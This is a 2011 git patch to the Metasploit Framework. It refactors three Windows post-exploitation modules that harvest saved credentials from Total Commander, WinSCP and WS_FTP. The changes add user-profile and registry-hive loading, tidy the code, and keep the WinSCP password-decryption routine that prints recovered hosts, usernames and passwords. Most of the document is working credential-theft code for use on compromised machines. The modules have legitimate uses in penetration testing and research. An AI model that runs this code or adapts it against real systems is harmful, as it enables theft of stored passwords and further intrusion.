From f0877e1c5bd7ad07db96b2f97a64ebab8ab312bb Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 28 Jul 2011 12:35:50 +0000 Subject: [PATCH] Applied patch from lightcosine for profile mixin, minor fixes and some code standard changes git-svn-id: file:///home/svn/framework3/trunk@13386 4d416f70-5f16-0410-b530-b9f4589650da --- .../gather/enum_total_commander_passwords.rb | 66 +++++-------- .../post/windows/gather/enum_winscp_pwds.rb | 97 +++++++++++-------- .../post/windows/gather/wsftp_client_creds.rb | 47 ++++----- 3 files changed, 99 insertions(+), 111 deletions(-) diff --git a/modules/post/windows/gather/enum_total_commander_passwords.rb b/modules/post/windows/gather/enum_total_commander_passwords.rb index 19d808ca59..0a5a112951 100644 --- a/modules/post/windows/gather/enum_total_commander_passwords.rb +++ b/modules/post/windows/gather/enum_total_commander_passwords.rb @@ -10,19 +10,21 @@ require 'msf/core' require 'rex' require 'rex/parser/ini' - +require 'msf/core/post/windows/user_profiles' class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report + include Msf::Post::Windows::UserProfiles + def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Total Commander Saved Password Extraction', - 'Description' => %q{ This module extracts weakly encrypted - saved FTP Passwords from Total Commander. - It finds saved FTP connections in the - wcx_ftp.ini file. }, + 'Description' => %q{ + This module extracts weakly encrypted saved FTP Passwords from Total Commander. + It finds saved FTP connections in the wcx_ftp.ini file. + }, 'License' => MSF_LICENSE, 'Author' => [ 'TheLightCosine '], 'Version' => '$Revision$', @@ -35,30 +37,23 @@ class Metasploit3 < Msf::Post def run print_status("Checking Default Locations...") check_systemroot - os = session.sys.config.sysinfo['OS'] - drive = session.fs.file.expand_path("%SystemDrive%") - if os =~ /Windows 7|Vista|2008/ - @appdata = '\\AppData\\Roaming\\' - @users = drive + '\\Users' - else - @appdata = '\\Application Data\\' - @users = drive + '\\Documents and Settings' + + grab_user_profiles().each do |user| + next if user['AppData'] == nil + next if user['ProfileDir'] == nil + check_userdir(user['ProfileDir']) + check_appdata(user['AppData']) end - get_users - @userpaths.each do |path| - check_userdir(path) - check_appdata(path) - end - - hklmpath = registry_getvaldata("HKLM\\Software\\Ghisler\\Total Commander", 'FtpIniName') + commander_key = "HKLM\\Software\\Ghisler\\Total Commander" + hklmpath = registry_getvaldata(commander_key, 'FtpIniName') case hklmpath when nil print_status("Total Commander Does not Appear to be Installed Globally") when "wcx_ftp.ini" print_status("Already Checked SYSTEMROOT") when ".\\wcx_ftp.ini" - hklminstpath = registry_getvaldata("HKLM\\Software\\Ghisler\\Total Commander", 'InstallDir') + hklminstpath = registry_getvaldata(commander_key, 'InstallDir') check_other(hklminstpath +'\\wcx_ftp.ini') when /APPDATA/ print_status("Already Checked AppData") @@ -68,19 +63,20 @@ class Metasploit3 < Msf::Post check_other(hklmpath) end - registry_enumkeys('HKU').each do |k| - next unless k.include? "S-1-5-21" - next if k.include? "_Classes" - print_status("Looking at Key #{k}") - hkupath = registry_getvaldata("HKU\\#{k}\\Software\\Ghisler\\Total Commander", 'FtpIniName') + userhives=load_missing_hives() + userhives.each do |hive| + next if hive['HKU'] == nil + print_status("Looking at Key #{hive['HKU']}") + profile_commander_key = "#{hive['HKU']}\\Software\\Ghisler\\Total Commander" + hkupath = registry_getvaldata(profile_commander_key, 'FtpIniName') print_status("HKUP: #{hkupath}") case hkupath when nil - print_status("Total Commander Does not Appear to be Installed on This User or we do not have sufficient rights to this user") + print_status("Total Commander Does not Appear to be Installed on This User") when "wcx_ftp.ini" print_status("Already Checked SYSTEMROOT") when ".\\wcx_ftp.ini" - hklminstpath = registry_getvaldata("HKU\\#{k}\\Software\\Ghisler\\Total Commander", 'InstallDir') + hklminstpath = registry_getvaldata(profile_commander_key, 'InstallDir') check_other(hklminstpath +'\\wcx_ftp.ini') when /APPDATA/ print_status("Already Checked AppData") @@ -91,6 +87,7 @@ class Metasploit3 < Msf::Post check_other(hkupath) end end + unload_our_hives(userhives) end @@ -109,7 +106,7 @@ class Metasploit3 < Msf::Post end def check_appdata(path) - filename= "#{path}#{@appdata}\\GHISLER\\wcx_ftp.ini" + filename= "#{path}\\GHISLER\\wcx_ftp.ini" begin iniexists = client.fs.file.stat(filename) print_status("Found File at #{filename}") @@ -146,17 +143,6 @@ class Metasploit3 < Msf::Post end - def get_users - @userpaths=[] - session.fs.dir.foreach(@users) do |path| - next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - @userpaths << "#{@users}\\#{path}\\" - end - - - - end - def get_ini(filename) config = client.fs.file.new(filename,'r') diff --git a/modules/post/windows/gather/enum_winscp_pwds.rb b/modules/post/windows/gather/enum_winscp_pwds.rb index c4140f898c..3596471a82 100644 --- a/modules/post/windows/gather/enum_winscp_pwds.rb +++ b/modules/post/windows/gather/enum_winscp_pwds.rb @@ -15,21 +15,22 @@ require 'msf/core' require 'rex' require 'msf/core/post/windows/registry' require 'rex/parser/ini' - +require 'msf/core/post/windows/user_profiles' class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report + include Msf::Post::Windows::UserProfiles def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather WinSCP Saved Password Extraction', - 'Description' => %q{ This module extracts weakly encrypted - saved passwords from WinSCP. It - searches for saved sessions in the - Windows Registry and the WinSCP.ini - file. It cannot decrypt passwords - if a master password is used.}, + 'Description' => %q{ + This module extracts weakly encrypted saved passwords from + WinSCP. It searches for saved sessions in the Windows Registry + and the WinSCP.ini file. It cannot decrypt passwords if a master + password is used. + }, 'License' => MSF_LICENSE, 'Author' => [ 'TheLightCosine '], 'Platform' => [ 'windows' ], @@ -39,47 +40,53 @@ class Metasploit3 < Msf::Post end def get_reg - #Enumerate all the SID in HKEY_Users and see if any of them have WinSCP RegistryKeys. + # Enumerate all the SID in HKEY_Users and see if any of them have WinSCP RegistryKeys. regexists = 0 - registry_enumkeys('HKU').each do |k| - masterpw = registry_getvaldata("HKU\\#{k}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security", 'UseMasterPassword') + + userhives=load_missing_hives() + userhives.each do |hive| + next if hive['HKU'] == nil + master_key = "#{hive['HKU']}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security" + masterpw = registry_getvaldata(master_key, 'UseMasterPassword') + + #No WinSCP Keys here + next if masterpw.nil? + - if masterpw == nil - #No WinSCP Keys here - next - end regexists = 1 if masterpw == 1 - #Master Password used to add AES256 encryption to stored password - print_status("User #{k} is using a Master Password, cannot recover passwords") + # Master Password used to add AES256 encryption to stored password + print_status("User #{hive['HKU']} is using a Master Password, cannot recover passwords") next else - #Take a look at any saved sessions + # Take a look at any saved sessions savedpwds = 0 - registry_enumkeys("HKU\\#{k}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions").each do |session| - #Skip default settings entry - if session == "Default%20Settings" - next - end - - password = registry_getvaldata("HKU\\#{k}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\#{session}", 'Password') - if password == nil - #There is no password saved for this session, so we skip it - next - end + session_key = "#{hive['HKU']}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions" + saved_sessions = registry_enumkeys(session_key) + next if saved_sessions.nil? + saved_sessions.each do |saved_session| + # Skip default settings entry + next if saved_session == "Default%20Settings" + + active_session = "#{hive['HKU']}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\#{saved_session}" + password = registry_getvaldata(active_session, 'Password') + # There is no password saved for this session, so we skip it + next if password == nil + savedpwds = 1 - portnum = registry_getvaldata("HKU\\#{k}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\#{session}", 'PortNumber') + portnum = registry_getvaldata(active_session, 'PortNumber') if portnum == nil - #If no explicit port number entry exists, it is set to default port of tcp22 + # If no explicit port number entry exists, it is set to default port of tcp22 portnum = 22 end - user = registry_getvaldata("HKU\\#{k}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\#{session}", 'UserName') - host = registry_getvaldata("HKU\\#{k}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\#{session}", 'HostName') - proto = registry_getvaldata("HKU\\#{k}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\#{session}", 'FSProtocol') + user = registry_getvaldata(active_session, 'UserName') + host = registry_getvaldata(active_session, 'HostName') + proto = registry_getvaldata(active_session, 'FSProtocol') - #If no explicit protocol entry exists it is on sFTP with SCP backup. If it is 0 it is set to SCP. + # If no explicit protocol entry exists it is on sFTP with SCP backup. If it is 0 + # it is set to SCP. if proto == nil or proto == 0 proto = "SCP" else @@ -110,6 +117,7 @@ class Metasploit3 < Msf::Post if regexists == 0 print_status("No WinSCP Registry Keys found!") end + unload_our_hives(userhives) end @@ -117,7 +125,7 @@ class Metasploit3 < Msf::Post def get_ini(filename) begin #opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser - iniexists = client.fs.file.stat(filename) + client.fs.file.stat(filename) config = client.fs.file.new(filename,'r') parse = config.read print_status("Found WinSCP.ini file...") @@ -135,7 +143,7 @@ class Metasploit3 < Msf::Post if group=~/#{groupkey}/ #See if we have a password saved in this sessions if ini[group].has_key?('Password') - #If no explicit port number is defined, then it is the default tcp22 + # If no explicit port number is defined, then it is the default tcp 22 if ini[group].has_key?('PortNumber') portnum = ini[group]['PortNumber'] else @@ -145,13 +153,14 @@ class Metasploit3 < Msf::Post user= ini[group]['UserName'] proto = ini[group]['FSProtocol'] - #If no explicit protocol entry exists it is on sFTP with SCP backup. If it is 0 it is set to SCP. + # If no explicit protocol entry exists it is on sFTP with SCP backup. If it + # is 0 it is set to SCP. if proto == nil or proto == 0 proto = "SCP" else proto = "FTP" end - #Decrypt the password and report on all of the results + # Decrypt the password and report on all of the results pass= decrypt_password(ini[group]['Password'], user+host) print_status("Host: #{host} Port: #{portnum} Protocol: #{proto} Username: #{user} Password: #{pass}") report_auth_info( @@ -174,17 +183,19 @@ class Metasploit3 < Msf::Post pwalg_simple_magic = 0xA3 pwalg_simple_string = "0123456789ABCDEF" - #Decrypts the next charachter in the password sequence + # Decrypts the next charachter in the password sequence if @password.length > 0 - #Takes the first char from the encrypted password and finds its position in the pre-defined string, then left shifts the returned index by 4 bits + # Takes the first char from the encrypted password and finds its position in the + # pre-defined string, then left shifts the returned index by 4 bits unpack1 = pwalg_simple_string.index(@password[0,1]) unpack1= unpack1 << 4 - #Takes the second char from the encrypted password and finds its position in the pre-defined string + # Takes the second char from the encrypted password and finds its position in the + # pre-defined string unpack2 = pwalg_simple_string.index(@password[1,1]) - #Adds the two results, XORs against 0xA3, NOTs it and then ands it with 0xFF + # Adds the two results, XORs against 0xA3, NOTs it and then ands it with 0xFF result= ~((unpack1+unpack2) ^ pwalg_simple_magic) & 0xff - #Strips the first two chars off and returns our result + # Strips the first two chars off and returns our result @password = @password[2,@password.length] return result end diff --git a/modules/post/windows/gather/wsftp_client_creds.rb b/modules/post/windows/gather/wsftp_client_creds.rb index 3f2a6a5daf..8eb74df9be 100644 --- a/modules/post/windows/gather/wsftp_client_creds.rb +++ b/modules/post/windows/gather/wsftp_client_creds.rb @@ -11,16 +11,21 @@ require 'msf/core' require 'rex' require 'rex/parser/ini' require 'msf/core/post/windows/registry' +require 'msf/core/post/windows/user_profiles' + class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report + include Msf::Post::Windows::UserProfiles def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather WS_FTP Saved Password Extraction', - 'Description' => %q{ This module extracts weakly encrypted saved FTP Passwords - from WS_FTP. It finds saved FTP connections in the ws_ftp.ini file. }, + 'Description' => %q{ + This module extracts weakly encrypted saved FTP Passwords + from WS_FTP. It finds saved FTP connections in the ws_ftp.ini file. + }, 'License' => MSF_LICENSE, 'Author' => [ 'TheLightCosine '], 'Version' => '$Revision$', @@ -31,41 +36,27 @@ class Metasploit3 < Msf::Post def run print_status("Checking Default Locations...") - os = session.sys.config.sysinfo['OS'] - drive = session.fs.file.expand_path("%SystemDrive%") - - if os =~ /Windows 7|Vista|2008/ - @appdata = '\\AppData\\Roaming\\' - @users = drive + '\\Users' - else - @appdata = '\\Application Data\\' - @users = drive + '\\Documents and Settings' - end - - get_users - @userpaths.each do |path| - check_appdata(path) + grab_user_profiles().each do |user| + next if user['AppData'] == nil + check_appdata(user['AppData'] + "\\Ipswitch\\WS_FTP\\Sites\\ws_ftp.ini") + check_appdata(user['AppData'] + "\\Ipswitch\\WS_FTP Home\\Sites\\ws_ftp.ini") end + + end def check_appdata(path) - filename = "#{path}#{@appdata}\\Ipswitch\\WS_FTP\\Sites\\ws_ftp.ini" + begin - iniexists = client.fs.file.stat(filename) - print_status("Found File at #{filename}") - get_ini(filename) + client.fs.file.stat(path) + print_status("Found File at #{path}") + get_ini(path) rescue - print_status("#{filename} not found ....") + print_status("#{path} not found ....") end end - def get_users - @userpaths = [] - session.fs.dir.foreach(@users) do |path| - next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - @userpaths << "#{@users}\\#{path}\\" - end - end + def get_ini(filename) config = client.fs.file.new(filename, 'r')